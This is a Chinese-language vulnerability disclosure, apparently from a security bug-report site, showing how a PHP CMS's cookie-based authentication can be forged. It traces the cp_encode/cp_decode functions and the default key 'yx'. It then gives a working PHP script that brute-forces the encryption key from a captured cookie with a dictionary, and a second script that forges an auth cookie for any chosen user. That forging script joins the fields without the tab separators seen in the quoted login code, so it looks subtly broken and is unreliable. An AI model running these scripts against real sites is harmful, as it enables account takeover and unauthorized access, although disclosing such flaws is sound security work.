### 简要描述:
源代码中有对cookie的加解密函数,可以伪造cookie,而且程序使用cookie进行权限验证,可以实现任一用户登录。
### 详细说明:
Protected/apps/members/controller/indexController.php
```
public function login()
{
if(!$this->isPost()){//不使用post时
$cookie_auth=get_cookie('auth');//此时直接从cookie中获取认证信息,我们跟进get_cookie函数看能否伪造cookie绕过认证
if(!empty($this->auth)) $this->redirect(url('default/index/index'));
$this->returnurl=$_SERVER['HTTP_REFERER'];
$this->display();
}else{
。。。
}
```
/protected/include/lib/common.function.php
```
function get_cookie($var,$key='',$pre='')
{
if(function_exists('config')){
$key=$key?$key:config('ENCODE_KEY');//这里获取加密key,在config中设置,默认为yx
$pre=$pre?$pre:config('COOKIE_PRE');//这里获取cookie的前缀,默认为yx
}
$var = $pre.$var;
return isset($_COOKIE[$var]) ? cp_decode($_COOKIE[$var],$key) : '';//将cookie解密
}
```
跟进cp_decode函数
```
function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}
```
具体加解密算法没有进行分析,但是只要我们知道加密key就可以自己生产cookie
我们看看cookie的格式是什么样子的
```
protected function _login($account,$password,$cookietime=0)
{
$acc=model('members')->find("account='{$account}'");
if($acc['password']!=codepwd($password) || $acc['islock']) return false;
if($cookietime!=0) $cookietime=time()+$cookietime;
$data['lastip'] = get_client_ip();
$data['lasttime']=time();
model('members')->update("account='{$account}'",$data);
if($acc['headpic'] && !Check::url($acc['headpic'])) $acc['headpic']=__UPLOAD__.'/member/image/'.$acc['headpic'];
$cookie_auth = $acc['id'].'\t'.$acc['groupid'].'\t'.$acc['account'].'\t'.$acc['nickname'].'\t'.$acc['lastip'].'\t'.$acc['headpic'];//获取账号的信息,连成字符串
if(set_cookie('auth',$cookie_auth,$cookietime)) return true;
return false;
}
```
跟进 set_cookie
```
function set_cookie($var, $value = '', $time = 0,$key='',$pre='')
{
$time = $time > 0 ? $time : 0;
$port = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
if(function_exists('config')){
$key=$key?$key:config('ENCODE_KEY');//这里获取加密key,在config中设置,默认为yx
$pre=$pre?$pre:config('COOKIE_PRE');//这里获取cookie的前缀,默认为yx
}
$value=cp_encode($value,$key);//使用加密key和之前的cookie_auth字符串来生产加密后的cookie
$var = $pre.$var;
return setcookie($var, $value, $time, '/', '', $port);
}
```
我没有深入看cp_encode函数的算法,但是,我们现在知道了加密前cookie的格式,有了加密key,就可以人为的去生成cookie,绕过验证。
### 漏洞证明:
加密key默认为yx,但是有可能更改,因为加密和解密用到同一个key,属于对称加密,这里写一个脚本用来破解加密key。
解密脚本crack.php:
```
<?php
//cp_encode之后的解密函数,$string待解密的字符串,$key,密钥
function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}
$str="5681ASIRH3xmeahDPR%2FBFKcZSIG7PNtinSTCODsQz1mvhyPAeNyQxvBaVz5ONAzQmPB835Kadw5LVANlN4fIxlkOMiBu%2BQ";
$str=urldecode($str);//注意如果获取的cookie是url编码解密后的,去掉此行
$file = file("dic.txt");//字典文件
foreach($file as &$line) {
if(cp_decode($str,$line)) echo "ENCODE_KEY = ".$line;
}
echo "\nFinished!";
?>
```
[<img src="https://images.seebug.org/upload/201407/21133059abcf836dd90998d713ce43eede2355e1.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/21133059abcf836dd90998d713ce43eede2355e1.png)
现在用cp_encode函数制作我们自己的cookie 。
```
<?php
function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
$id=3;
$data['groupid']=2;
$data['account']='admin2';
$data['nickname']='admin2';
$data['lastip']='127.0.0.1';
$cookie_auth = $id.''.$data['groupid'].''.$data['account'].''.$data['nickname'].''.$data['lastip'].'';
$encode=cp_encode($cookie_auth,"axf");
echo $cookie_auth;
echo "";
echo urlencode($encode);
?>
```
id ,groupid,account,nickname在不同的地方有不同的用处,比如修改资料地方用id关联,发布资讯跟account关联,登录界面现实与nickname关联,根据自己需要进行修改伪造。
[<img src="https://images.seebug.org/upload/201407/211332195edf3933ee72540a60a7d1bc9cbbeb9e.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/211332195edf3933ee72540a60a7d1bc9cbbeb9e.png)
暂无评论